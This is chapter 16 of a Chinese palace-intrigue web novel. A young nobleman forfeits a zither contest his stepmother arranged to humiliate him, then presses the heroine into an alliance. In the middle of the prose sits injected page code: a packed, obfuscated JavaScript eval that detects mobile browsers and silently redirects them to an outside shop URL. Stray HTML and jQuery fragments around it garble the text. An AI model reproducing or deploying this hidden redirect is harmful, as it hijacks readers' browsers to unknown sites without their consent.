文趣网 > 其他小说 > 撞破死敌肖想我后 > 16. 第 16 章
    “自然不是。”裴林琛回得很快,但说完这句,却迟迟不曾有下文。

    宋许青不疑有他,只是轻轻地皱眉,小声道:“是吗,那是我想错了?”

    “你的确是想错了。”

    转眼的工夫,裴林琛脸上已不见方才的怔愣,玉洁的脸上又显出平日的淡薄神色:“你既在众人面前声称是我娘表亲,那你所作所为便与我娘休戚相关,我这个做儿子的,自不能袖手旁观。”

    宋许青似是被他这理由说服,果然不再追问,沉默一阵,颔首道:“我明白今日之事是我鲁莽,我以后会小心些的。”

    她说着,看了眼自己凌乱的衣裙,说道:“我要跟海棠下去换身衣裳了,二公子自便吧。”

    语毕,宋许青便提着裙摆,小心翼翼地出了房门,而后带着海棠,往锦和苑的静室方向走。

    裴林琛立在门口处,黝黑的眸子中清晰地倒映着她的背影。

    宋许青领走海棠时,承安也聪明地回到了他家少爷身边,这会子见少爷沉默着一言不发,便以为他在想事,也就没吱声。

    还是后来起了阵子风,裴林琛才垂下眼睫,淡声道:“她方才是否叫我......二公子?”

    承安离得远,哪里能听到二人的谈话,因而对此问题,也只得露出个讪讪的笑,并不作答。

    他不回话,裴林琛反倒兀自说下去,以纤长的食指抵住下颌,陷入回忆般说:“上次她待我如此客气,还是父亲去宋家作客,我跟她初见之时。”

    这事儿承安清楚,他也在场,所以当即点头道:“少爷您记性真好,小的连宋姑娘幼时长什么模样都早记不清了,您却还记得跟她说过什么话,真是难得。”

    他本意是想夸少爷记性好,拍个马屁,但也不知是这句话里哪个字眼触了少爷的霉头,马屁拍到了马腿上。

    方才还淡然的人,却是突然间紧皱长眉,神色不虞起来。

    承安只以为自己是说错了话,忙着噤声时,也不忘抬眼小心翼翼地观察少爷神色。

    裴林琛眉间愁绪始终不散,他思忖一阵,才再次开口,问道:“我方才所作所为,很像是担心她?”

    承安脑袋一时没转过弯,想了会儿才明白少爷提的人是宋姑娘,他是个实诚性子,回忆了一番不久前的事儿,就老老实实点头道:“您看着是有点儿担心。”

    闻言,裴林琛紧皱的眉头松开了。

    但他的面色在听到承安话语之际,却瞬间煞白如纸。

    **

    宋许青换完衣裙,再回到花厅时,时辰瞧着俨然有些迟了,诸位女眷都落座,耐心听着何淑敏讲话,没她插进去的时机。

    何淑敏端坐于上首,笑意温和,语气却不容置喙:“林琛精通音律,一手琴艺冠绝天下,我家明政刚巧也痴迷抚琴,日日闭门苦练,今时难得茶会,诸位夫人小姐都在,不如你二人就切磋一番琴艺,让我们开开眼界,如何?”

    众人听闻,自然是个个抚掌应声说好。

    府中的下人也在何淑敏话音落下后,两两成对,将两张琴分置东西两案上,而后躬身退下。

    准备如此周全,谁能看不出她早有预谋,承安急在心里,却也不敢显露,只得时不时用担忧的目光瞥一眼少爷。

    他清楚,便是少爷手伤大好,夫人也定然会在琴弦上做手脚,为的就是让少爷输给年仅五岁的三公子,令他在众人面前难堪,使得其徒有其表、名不副实的流言传出去。

    连五岁幼童都比不过,往后谁还敢提少爷善琴之事,只怕提一次,就要被笑话一次,如此少爷就连正身的机会也难得了。

    何淑敏俯眸看着身边的裴明政,轻轻拍了拍他的肩膀,叹口气道:“即便输了,也万不可垂头丧气,你二哥哥自幼精通音律,又多年苦练,哪是如今的你能及得上的,你只要借着今日比试,好好学二哥哥的技法就是了。娘相信,只要你往后勤加练习,定然能追上你二哥哥万分之一二。”

    在座的有人听此一言,不由得感慨:“早间听闻李大家说三公子年仅五岁,指法精妙,远胜常人,如今何夫人却说连二公子万分之一都不及,那二公子的琴技岂不是......”

    说话之人看裴林琛的目光,不由得带了些敬佩。

    宋许青再没心机,也懂何淑敏此举不亚于捧杀,玉石铸成的佛像,只有放在更高的莲台,跌落时才会摔得越痛、越粉碎。

    若在平时,她定然不会担忧裴林琛的琴艺输给旁人,但......

    宋许青看着他略蜷缩在袖中的右手,有些担心。

    这是她造成的伤,她必得想个法子帮他。

    在她思考间,何淑敏已让人领着裴林琛与裴明政到了正中的琴案旁。

    裴明政早乖乖地坐下去,用手捻着琴弦轻轻用力,试了试音。

    何淑敏看着长身而立的裴林琛,眯了眯眼,面上笑意更深:“林琛为何不坐,是觉得与明政比试有失身份,还是......”

    她环顾花厅诸位,复开口道:“还是觉得我们这些妇道人家粗鄙,听不懂你的琴音?”

    裴林琛摇了摇头,缓缓道:“今日的比试,我认输。”

    此言一出,满室的人都面露惊愕。

    “何故要放弃?”何淑敏打着让他在众人面前出丑的念头,岂能叫他轻易认输,便皱眉,语气中带些批判意味:“你与你弟弟比试,不过是茶会的消遣玩乐,你此番不比先退,胆量何在,实在非男子所为。”

    裴林琛躬身后退半步,环视在座一众夫人,语气轻缓,“我与弟弟血脉相连,若事事相较,到头来只会生隙,古人尚且忌讳异母手足争强斗胜,我身为兄长,更不能借着琴艺压他一头。”

    “昔年曹氏兄弟相残,曹家根基大乱,我不能步前人后尘,愿以大局为重,不与三弟同室操戈,尝那相煎之苦。”

    他面上仍旧平静,脊背若青松毫不弯折,字字铿锵:“今日比试我认输,且今后亦不会与弟弟切磋。”

    裴林琛抬头拱手,眼中一片清明,朝何淑敏恳切道:“愿母亲成全。”

    何淑敏放在大袖中的手不由得暗自收紧。

    如今的境况,便是她再不情愿,也只得开口说好,不然执意比下去,她的行径落在有心之人口中,便是在蓄意挑拨兄弟争斗,她会落个心思阴毒、令家宅不宁的名声。

    她是最在乎名声的了,怎能容忍自己在旁人嘴里留下话柄。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746637|209171||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    因而今日事,只得作罢。

    精心布的一盘局,被三言两语就轻易毁掉,何淑敏如何能不气,但再气,也只得打碎牙齿自己吞,强颜欢笑,佯装大方道:“既如此,那就叫明政为诸位抚琴助兴吧。”

    她本想着害裴林琛不成,也能在众人跟前显摆番幼子琴技,谁料今日明政不知怎的总是弹错,本该向外挑三弦的手,却变成了滑按四弦,一首《梅花三弄》是弹得曲不成曲,调不成调,将她的脸都丢尽了!

    席上甚至还有人隐隐约约笑出了声。

    何淑敏哪里有过这样丢脸的时刻,本是带着笑的嘴角,此刻也是整个僵硬起来。

    来此宾客见状,自然是纷纷找了由头离席。

    宋许青是在众人笑裴明政琴声时,偷摸混进来的,如今见众人纷纷离开,她也起身欲走。

    只是她能走得,海棠却走不了,她被采莲叫住。

    采莲说:“夫人有事要交代你,你随我走一趟。”

    宋许青看着何淑敏身侧打扮得花枝招展的李云秀,如何能放心把海棠交出去,便推脱道:“我身子有些不适,还得叫海棠送我回房,夫人那边要交代的可是什么要紧事?”

    她是惯会演戏装柔弱的了,这副扶额叹气的病西施模样摆出来,谁看了都要让几分。

    采莲见四周有女宾将目光看过来,知道不好强求,便颔首道:“那海棠送完姑娘,再去夫人院里吧。”

    她交代完就走。

    宋许青的心却不曾落下,她深知自己这不过缓兵之计,要想护住海棠,还要想别的法子。

    她心事重重地往外走,待进了锦和苑时,险些撞到谁怀里。

    宋许青忙顿住,待抬头看到来人,了然道:“是你啊。”

    他先行离席,快一步到锦和苑也是应当的。

    她说着就想绕开裴林琛,但被他一个跨步给挡住去路。

    宋许青这会儿心头正烦,没心思跟裴林琛周旋,直接道:“有事儿说事儿,没事儿别挡道。”

    裴林琛垂眸,将她白净脸庞上显眼的烦躁看在眼里,淡声道:“宋许青,我们可以合作。”

    这话说得她一愣,不禁皱眉:“你什么意思?”

    “我的意思是,我可以帮你。”裴林琛定定地看着她,语气不疾不徐。

    事到如今,宋许青已无当初入府时那样戒备他,但二人之间也称不上信任。

    听到他的提议,纵然有些心动,却也还是佯装着警惕,问道:“你想从我这儿得到什么?丑话先说在前头,我可什么都没有。”

    裴林琛似是被她这番话逗笑,轻轻勾了下唇角,但那笑意转瞬即逝,他面上很快又是那古井无波的模样:“你身上有我没有,但需要的东西。”

    闻言,宋许青觉得她也许懂了他的意思,但对于未来的迷茫,让她不知面对如今的合作,是该点头,还是拒绝,一时间陷入沉默。

    裴林琛却没给她拒绝的机会,伸出纤长的手,轻轻勾了勾她鬓边微乱的碎发,令她不由得抬起头,将目光转向他。

    他俯身看着她,扬唇道:

    “宋许青,我是你唯一能依赖的人。”

    “你不能拒绝。”